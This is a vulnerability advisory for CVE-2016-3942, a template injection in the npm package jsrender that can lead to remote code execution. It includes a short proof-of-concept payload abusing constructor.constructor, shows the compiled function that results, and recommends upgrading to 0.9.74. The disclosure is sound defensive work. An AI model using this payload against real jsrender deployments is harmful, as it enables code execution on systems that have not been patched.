Advisory

GHSA-r87w-47m8-22w3

Also known as: CVE-2016-3942

Summary

Template Injection in jsrender

Details

Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

Proof of Concept

//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } 

Recommendation

Update to version 0.9.74 or later.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2020-09-01 15:24 UTC
Modified
2023-11-08 03:58 UTC

Affected packages and fixes

jsrender

npm · All systems

Affected

  • introduced 0, fixed 0.9.74 (semver)

Fixed versions

0.9.74

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences